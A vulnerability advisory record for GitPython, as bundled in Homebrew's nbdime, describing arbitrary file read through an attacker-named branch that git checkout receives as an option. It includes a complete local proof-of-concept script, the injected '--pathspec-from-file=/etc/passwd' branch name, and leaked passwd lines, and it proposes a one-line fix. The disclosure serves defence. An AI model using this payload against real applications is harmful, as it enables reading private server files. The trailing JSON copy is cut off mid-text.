BREW-NBDIME-CVE-2026-110859 (GHSA-23MF-XHV8-69C2)

Vulnerability from osv_homebrew – Published: 2026-10-28 09:23 – Updated: 2026-10-28 09:23 – Source website
VLAI
Summary
GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)
Details

A note on the referenced files. This report was submitted through GitHub's private vulnerability reporting API, which carries no attachments. Every transcript this report leans on is reproduced inline above, verbatim. The file names it mentions (poc.sh, poc.log, per-case transcripts, evidence.md, negative-controls.md, blob-sweep tables) are the local evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy to send the bundle by any channel you prefer, or to open a private fork — just say which. The PoC scripts are self-contained and reproduce the result from a clean environment.

Affected: <= 3.1.62 — all published releases; also main @ 4905b4af Verified at runtime: GitPython 3.1.62 with git 2.55.0 Date: 2026-09-10 Reporter: MAXI8594

Threat model
Attacker anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application.
Pre-need a repository they host, with HEAD pointing at a branch whose name is the payload. A git push to a plain git server is enough — no filesystem access to a server is required (raw/06).
Gets the contents of any file the application's process can read, returned in band through the exception. /etc/passwd recovered 34 of 34 lines.
Real-world likelihood High. The vulnerable consumer is six lines of ordinary code with no unusual configuration: Repo.clone_from(user_url) then repo.active_branch.checkout(). allow_unsafe_options=False is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots.

On severity relative to the sibling advisories. GitHub, as CNA, scored the three prior advisories in this class at 6.5 / PR:L (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This report asks for 7.5 / PR:N, and the difference is one measured fact: in those three, the application had to pass an attacker-influenced value into the API. Here it passes nothing — the clone materialises the hostile branch on its own and repo.active_branch returns it (raw/02). If that reading is not accepted, the PR:L path via Repo.create_head() is also real and lands at 6.5, matching the siblings.

Summary

Head.checkout() guards its **kwargs against unsafe Git options but never inspects its own positional argument — the branch name — which reaches the git checkout argv with no -- separator. A repository whose default branch is named --pathspec-from-file=/etc/passwd makes a consumer that merely clones it and checks out the default branch return the entire contents of that file to the caller.

This is the exact combination of two advisories the project already fixed:

  • CVE-2026-76217 (GHSA-hh9p-6wh2-4mfc) — "Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()". Fixed in 3.1.58 by commit f2550b65, which added the guard to this exact method — but only for **kwargs.
  • CVE-2026-78679 (GHSA-3wxw-xv34-2frg) — "TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)". Fixed in 3.1.59 by commit 1b0d2d9b, which applied the positional check to git/refs/tag.py, git/diff.py, git/index/base.py and git/repo/base.py — but not to git/refs/head.py:286.

f2550b65 states in its own commit message that the audit found the positional variant and applied it to HEAD.reset — 185 lines above Head.checkout, in the same file, in the same commit:

"The audit also found that reset's positional commit could carry the option before its argument separator. […] Check reset's positional commit as well as keyword options"

HEAD.reset got the fix. Head.checkout did not, and 1b0d2d9b did not come back for it.

Affected Asset
Package GitPython (PyPI)
Affected versions <= 3.1.62 — all published releases
Latest release tested 3.1.62
Also present on main @ 4905b4af
Vulnerable file git/refs/head.py
Guard line 286 — Git._option_candidates([], kwargs)
Sink line 293 — self.repo.git.checkout(self, **kwargs)
CWE CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information)
CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N → 7.5 High

The version range was established by blob hash against every tag, not by dates: the sink line self.repo.git.checkout(self, **kwargs) — with no -- separator — is present in git/refs/head.py in every tag from 0.3.1-beta2 through 3.1.62. The 3.1.62 blob is byte-identical to main: 7f563374ef9e018b3d5f95054498e8591e112ce2. Full sweep in raw/07-blob-version-sweep.txt.

The kwargs-only guard first appears in 3.1.58, so 3.1.58–3.1.62 is where "incomplete fix" applies; earlier releases have the same sink with no guard at all.

Vulnerability Details

Root cause

git/cmd.py:1045 — _option_candidates() only inspects the positionals it is handed:

@classmethod
def _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:
    """Collect possible option spellings before command-line transformation."""
    options = [
        option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-")
    ]

So _option_candidates([], kwargs) means: check the keyword arguments, never check the positional arguments this method puts on the command line. That is fine when the method has no attacker-influenced positional, or when it separates them with --.

git/refs/head.py:283-293 — Head.checkout() has neither:

        if not allow_unsafe_options:
            Git.check_unsafe_options(
                options=Git._option_candidates([], kwargs),
                unsafe_options=Git.unsafe_git_pathspec_from_file_options,
            )
        kwargs["f"] = force
        if kwargs["f"] is False:
            kwargs.pop("f")

        self.repo.git.checkout(self, **kwargs)

self is the only positional. It serialises to the branch name, lands in the git checkout argv, and is not in the list the guard inspects. _call_process builds args_list = opt_args + ext_args, so keyword-derived options precede positionals — which is why the rest of the library puts "--" first (Remote.fetch/pull/push, Repo._clone, Repo.archive, IndexFile.remove, Commit.count all do). Head.checkout does not.

Why the branch name is attacker-controlled

Git accepts a refname whose branch component begins with - and contains / (raw/02-refname-accepted-and-cloned.txt):

>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'
    exit=0  stderr=''
    => un refname que empieza con '-' y lleva '/' es VALIDO para git

>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099
    exit=0  stderr=''
>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
    exit=0
    HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd
    ref en disco como arbol jerarquico: True

>>> Repo.clone_from('file://<bare>', <victim>)   # la app solo clona
    ramas LOCALES creadas por el clone, sin que nadie las pida:
      refs/heads/--pathspec-from-file=/etc/passwd
    repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
    coincide con el nombre hostil: True

The transcript above also shows the second half: git clone materialises that branch locally on its own when the remote HEAD points at it — the consuming application never asks for it.

A plain git server accepts the refname over receive-pack, with no --force and no special config (raw/06-push-accepts-refname.txt), so the attacker does not need filesystem access to a server — a git push is enough. That measurement, and the clone in raw/02, both use the file:// transport, which exercises the same git wire protocol as https://; I did not test against a hosted forge, since that would mean writing to a third party.

Why the leak reaches the caller

The file contents are in CommandError.__str__, not only in the .stderr attribute (git/exc.py):

        self.stderr = stderr_decode and "\n  stderr: '%s'" % stderr_decode or ""

    def __str__(self) -> str:
        return (self._msg + "\n  cmdline: %s%s%s") % (
            self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,
        )

So logging.exception(...), print(e), or simply not catching the exception all disclose the file. The developer does not have to know .stderr exists.

Full chain

Repo.clone_from(<attacker URL>)
  ↓  remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd
  ↓  git clone creates that LOCAL branch unasked
repo.active_branch                → Head with name = "--pathspec-from-file=/etc/passwd"
  ↓
Head.checkout()                   git/refs/head.py:286 — guard inspects kwargs only
  ↓  self.repo.git.checkout(self, **kwargs)   git/refs/head.py:293 — no "--"
git checkout --pathspec-from-file=/etc/passwd
  ↓  git emits one `error:` per unmatched pathspec — one per line of the file
GitCommandError → CommandError.__str__ → the consumer

Steps to Reproduce

Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local — temporary repositories and the file:// transport. No remote hosts, no third-party repositories.

The bundled poc.sh runs all seven scenarios as a single unit and writes poc.log plus one file per scenario under raw/. Minimal manual reproduction:

python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62

W=$(mktemp -d)
git init -q -b main "$W/a"; echo x > "$W/a/f.txt"
git -C "$W/a" add f.txt
git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c
git clone -q --bare "$W/a" "$W/a.git"
SHA=$(git -C "$W/a.git" rev-parse HEAD)

# the attacker names their default branch after the file they want
git -C "$W/a.git" update-ref   'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA"
git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'

cat > "$W/consumer.py" <<'PYEOF'
import logging, sys, git
logging.basicConfig(level=logging.INFO, format="%(message)s")
try:
    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL
    repo.active_branch.checkout()                          # ensure a clean working tree
except git.exc.GitCommandError:
    logging.exception("clone failed")
PYEOF

/tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim"

Raw Request

The real git checkout argv, captured by instrumenting Git.execute (raw/01-real-argv.txt). This is the command GitPython actually built — the branch name became an option:

  argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']

Raw Response

Observed output (raw/05-six-line-consumer.txt, tail) — git emits one error: line per unmatched pathspec, which is one per line of the target file:

error: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git
error: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git
error: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git
error: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git
error: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'

raw/03-full-file-disclosure.txt counts the recovery against the real file:

Archivo objetivo: /etc/passwd  (34 lineas no vacias)
[CASO] repo.active_branch.checkout()  — nadie paso un nombre de rama
  repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
  -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34

Impact

An attacker who can get an application to clone a repository they control reads any file the application's process can read, with the contents returned in band. /etc/passwd was recovered in full (34 of 34 lines) in the run recorded in poc.log.

The attacker needs no account and no privilege in the consuming application, and no configuration change anywhere: allow_unsafe_options=False is the default, and the vulnerable consumer is six lines of ordinary code. This is the central use case of the library — CI systems, repository importers, scanners and bots that clone user-supplied URLs.

Impact precondition

Holds if: the consuming application clones a repository whose default branch name the attacker chose, and then calls Head.checkout() on it — most commonly as repo.active_branch.checkout(), which needs no branch-name input from the application at all.

Source writer: the attacker, via the remote repository's HEAD and refs. Verified two ways — git update-ref + symbolic-ref on a bare repository, and git push to a plain git server, which receive-pack accepts without --force or special configuration (raw/02-refname-accepted-and-cloned.txt, raw/06-push-accepts-refname.txt). The application never writes the branch name; git clone materialises it.

Observed in: validation/gitpython/head-checkout-positional-pathspec/ — GitPython 3.1.62 (latest release) with git 2.55.0, in the single run recorded in poc.log (2026-09-10T02:10:23-03:00). File read: /etc/passwd, 34 of 34 lines recovered by the caller.

Limits, stated plainly

  • Only the full long spelling works, because a refname cannot contain a space and is therefore a single argv token; git rejects the abbreviated forms. This was established while developing the payload and is not part of the attached run — the run exercises the working spelling only.
  • The attacker must know an absolute path to the target file.
  • Lines are disclosed only when they do not match a path in the repository. With a one-file hostile repository none of them do, so the attacker controls this condition too.
  • The full-file result was measured on git 2.55.0, where git checkout emits one error: per unmatched pathspec. GHSA-hh9p-6wh2-4mfc notes that --pathspec-from-file alone quotes only the first line — that holds for git rm, which aborts with fatal: on the first. It does not hold for git checkout on 2.55.0.

Negative control

Full statement of what each control isolates and what would invalidate it: negative-controls.md. Every batch opens and closes with a positive control; if the closing one does not fire, the batch is discarded.

Positive control (opening and closing, 4 batches). Head.checkout(pathspec_from_file="/etc/passwd") — the same payload via kwargs. Fires in every batch: UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it. This proves the guard exists, is active under the default, and recognises the option — so a null result elsewhere cannot be the instrument failing to reach the code.

Negative control. The identical call on a branch named benigna. One variable changes: the leading -. Result: ['git', 'checkout', 'benigna'], no exception, 0 lines disclosed.

Precision control — the asymmetry inside one file (raw/04-precision-control-reset-vs-checkout.txt). The same payload against the two methods in git/refs/head.py that received the guard in the same commit, 185 lines apart:

[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos
  HEAD.reset(commit=PAYLOAD)  guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas  [OK]
  Head.checkout()      guard NO mira el posicional     GitCommandError                                fuga=34 lineas  [OK]

HEAD.reset (head.py:101, _option_candidates([commit], kwargs)) blocks what Head.checkout (head.py:286, _option_candidates([], kwargs)) lets through. This rules out the alternative explanation that any string containing --pathspec-from-file reaching git would disclose the file.

Remediation

One line, consistent with what f2550b65 already did for HEAD.reset in this same file:

                options=Git._option_candidates([self], kwargs),

The other candidate was evaluated and rejected. Writing self.repo.git.checkout("--", self, **kwargs) would match the -- pattern used elsewhere in the library and would also cover future git checkout options — but it changes the semantics and breaks the method: in git checkout -- <arg>, everything after -- is a pathspec, not a branch. The command would stop switching branches and start restoring files. The -- pattern works for fetch/pull/push/clone/archive/rm because their positionals genuinely are non-branch operands; it does not transfer here.

For defence in depth, Repo.create_head() could reject branch names beginning with -, which would also close the weaker PR:L path. That is a separate, optional change.

Prior art and de-duplication

All GitPython advisories in the GitHub database were reviewed — gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate returns 47 (the same command without per_page returns only the first page of 30). Head.checkout appears in two rows, one of which (GHSA-w672-…) is a withdrawn duplicate, leaving one substantive advisory:

  • GHSA-hh9p-6wh2-4mfc / CVE-2026-76217 — same method, but the kwargs path (pathspec_from_file=…, pathspec_file_nul=True), fixed in 3.1.58. That path is closed today; it is the positive control in every batch of this report. The positional path is not covered by it.

Neighbours, none overlapping:

  • GHSA-3wxw-xv34-2frg / CVE-2026-78679 — the same class (positional bypasses a kwargs-only guard) in a different method, TagReference.create, fixed in 3.1.59 by 1b0d2d9b. That is the patch that did not come back to head.py:286.
  • GHSA-956x-8gvw-wg5v / CVE-2026-67323 — precedent for "a value placed before the -- with no leading-dash check", in Repo.iter_commits / Repo.blame. Those sites now pass their positional to the guard; this one does not.
  • GHSA-7545-fcxq-7j24 / CVE-2026-44243 — path traversal via ref names in the reference APIs. Different sink (filesystem path construction) and different impact (write and delete), but it establishes that attacker-influenced ref names is a premise this project has already accepted.

No open fix proposal

Searched across three surfaces, because gh search issues excludes pull requests: gh search prs, gh search issues and the raw search/issues API. No open or closed issue or pull request proposes passing the positional to the guard in Head.checkout. The three PRs that touch this guard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that introduced both call sites in this file, one checking its positional and one not. Full matrix in dup-check.md.

The project's own tests carry the same asymmetry

test/test_refs.py exercises the guard for both methods, and covers exactly the difference this report is about:

  • HEAD.reset — the positional is tested (lines 304-308).
  • Head.checkout — only the kwargs path is tested (lines 282-291).

So the positional variant is a case the suite already knows how to write; it just was not written for checkout. The docstring added by #2204 to Head.checkout states that --pathspec-from-file requires opt-in via allow_unsafe_options — which is precisely the guarantee the positional path does not deliver. Nothing in the project declares the positional acceptable here.

Why the one-line fix works, which is not obvious

Reference.__str__ returns self.name, not self.path. Reference.name strips the first two path components (reference.py:122-132), so a Head constructed on refs/heads/--pathspec-from-file=/etc/passwd passes check_path — the path does begin with refs/heads/ — while str() yields the bare option. Passing [self] to _option_candidates makes the guard see that same serialised string, which is why the one-line change closes it.

Evidence

File What it establishes
poc.sh driver — runs all seven scenarios as one unit
poc.log full transcript of the single reference run
raw/00-versions-and-source.txt version under test is the published one; guard and sink present; def checkout( appears once, so the sink line is unambiguous
raw/01-real-argv.txt real git checkout argv, captured by instrumenting Git.execute
raw/02-refname-accepted-and-cloned.txt git accepts the refname; Repo.clone_from materialises it unasked
raw/03-full-file-disclosure.txt 34 of 34 lines of /etc/passwd recovered
raw/04-precision-control-reset-vs-checkout.txt HEAD.reset blocks what Head.checkout allows
raw/05-six-line-consumer.txt six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught
raw/06-push-accepts-refname.txt a plain git server accepts the refname over push
raw/07-blob-version-sweep.txt affected range by blob hash, tag by tag
negative-controls.md what each control isolates and what would invalidate it
evidence.sha256 integrity of every raw file and script

Disclosure

Reported privately through GitHub private vulnerability reporting. No third-party systems were touched: every repository in this report is a temporary local one, and all transport is file://.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "gitpython",
        "resource_purl": "pkg:pypi/gitpython@3.2.1",
        "upstream_fixed_in": "3.2.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "nbdime",
        "purl": "pkg:brew/nbdime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "4.0.4_9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/gitpython@3.2.1",
        "name": "gitpython",
        "resource": "gitpython",
        "strategy": "registry",
        "subject_version": "3.2.1"
      }
    ]
  },
  "details": "\u003e **A note on the referenced files.** This report was submitted through GitHub\u0027s private\n\u003e vulnerability reporting API, which carries no attachments. Every transcript this report leans\n\u003e on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n\u003e per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n\u003e evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n\u003e to send the bundle by any channel you prefer, or to open a private fork \u2014 just say which. The\n\u003e PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `\u003c= 3.1.62` \u2014 all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough \u2014 no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application\u0027s process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library\u0027s central use case \u2014 CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing \u2014 the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument \u2014 the branch name \u2014 which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) \u2014 *\"Arbitrary file read via `--pathspec-from-file` in\n  `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n  the guard to this exact method \u2014 but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) \u2014 *\"`TagReference.create` positional reference\n  bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n  positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` \u2014\n  but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` \u2014 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n\u003e \"The audit also found that **reset\u0027s positional commit could carry the option before its argument\n\u003e separator**. [\u2026] **Check reset\u0027s positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`\u003c= 3.1.62`** \u2014 all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 \u2014 `Git._option_candidates([], kwargs)` |\n| Sink | line 293 \u2014 `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` \u2192 **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` \u2014 with no `--` separator \u2014 is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`\u2013`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` \u2014 `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -\u003e List[str]:\n    \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n    options = [\n        option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n    ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` \u2014 `Head.checkout()` has neither:\n\n```python\n        if not allow_unsafe_options:\n            Git.check_unsafe_options(\n                options=Git._option_candidates([], kwargs),\n                unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n            )\n        kwargs[\"f\"] = force\n        if kwargs[\"f\"] is False:\n            kwargs.pop(\"f\")\n\n        self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals \u2014 which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n\u003e\u003e\u003e git check-ref-format \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027\n    exit=0  stderr=\u0027\u0027\n    =\u003e un refname que empieza con \u0027-\u0027 y lleva \u0027/\u0027 es VALIDO para git\n\n\u003e\u003e\u003e git -C \u003cbare\u003e update-ref \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027 beea87239099\n    exit=0  stderr=\u0027\u0027\n\u003e\u003e\u003e git -C \u003cbare\u003e symbolic-ref HEAD \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027\n    exit=0\n    HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n    ref en disco como arbol jerarquico: True\n\n\u003e\u003e\u003e Repo.clone_from(\u0027file://\u003cbare\u003e\u0027, \u003cvictim\u003e)   # la app solo clona\n    ramas LOCALES creadas por el clone, sin que nadie las pida:\n      refs/heads/--pathspec-from-file=/etc/passwd\n    repo.active_branch.name = \u0027--pathspec-from-file=/etc/passwd\u0027\n    coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it \u2014 the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server \u2014\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n        self.stderr = stderr_decode and \"\\n  stderr: \u0027%s\u0027\" % stderr_decode or \"\"\n\n    def __str__(self) -\u003e str:\n        return (self._msg + \"\\n  cmdline: %s%s%s\") % (\n            self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n        )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from(\u003cattacker URL\u003e)\n  \u2193  remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n  \u2193  git clone creates that LOCAL branch unasked\nrepo.active_branch                \u2192 Head with name = \"--pathspec-from-file=/etc/passwd\"\n  \u2193\nHead.checkout()                   git/refs/head.py:286 \u2014 guard inspects kwargs only\n  \u2193  self.repo.git.checkout(self, **kwargs)   git/refs/head.py:293 \u2014 no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n  \u2193  git emits one `error:` per unmatched pathspec \u2014 one per line of the file\nGitCommandError \u2192 CommandError.__str__ \u2192 the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local \u2014\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp \u0026\u0026 /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x \u003e \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref   \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027 \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD \u0027refs/heads/--pathspec-from-file=/etc/passwd\u0027\n\ncat \u003e \"$W/consumer.py\" \u003c\u003c\u0027PYEOF\u0027\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL\n    repo.active_branch.checkout()                          # ensure a clean working tree\nexcept git.exc.GitCommandError:\n    logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built \u2014 the branch name became an option:\n\n```\n  argv real : [\u0027git\u0027, \u0027checkout\u0027, \u0027--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt\u0027]\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) \u2014 git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec \u0027mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin\u0027 did not match any file(s) known to git\nerror: pathspec \u0027flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin\u0027 did not match any file(s) known to git\nerror: pathspec \u0027wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin\u0027 did not match any file(s) known to git\nerror: pathspec \u0027jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false\u0027 did not match any file(s) known to git\nerror: pathspec \u0027cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin\u0027 did not match any file(s) known to git\u0027\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd  (34 lineas no vacias)\n[CASO] repo.active_branch.checkout()  \u2014 nadie paso un nombre de rama\n  repo.active_branch.name = \u0027--pathspec-from-file=/etc/passwd\u0027\n  -\u003e GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication\u0027s process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library \u2014 CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it \u2014 most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository\u0027s `HEAD` and refs. Verified two ways \u2014\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git 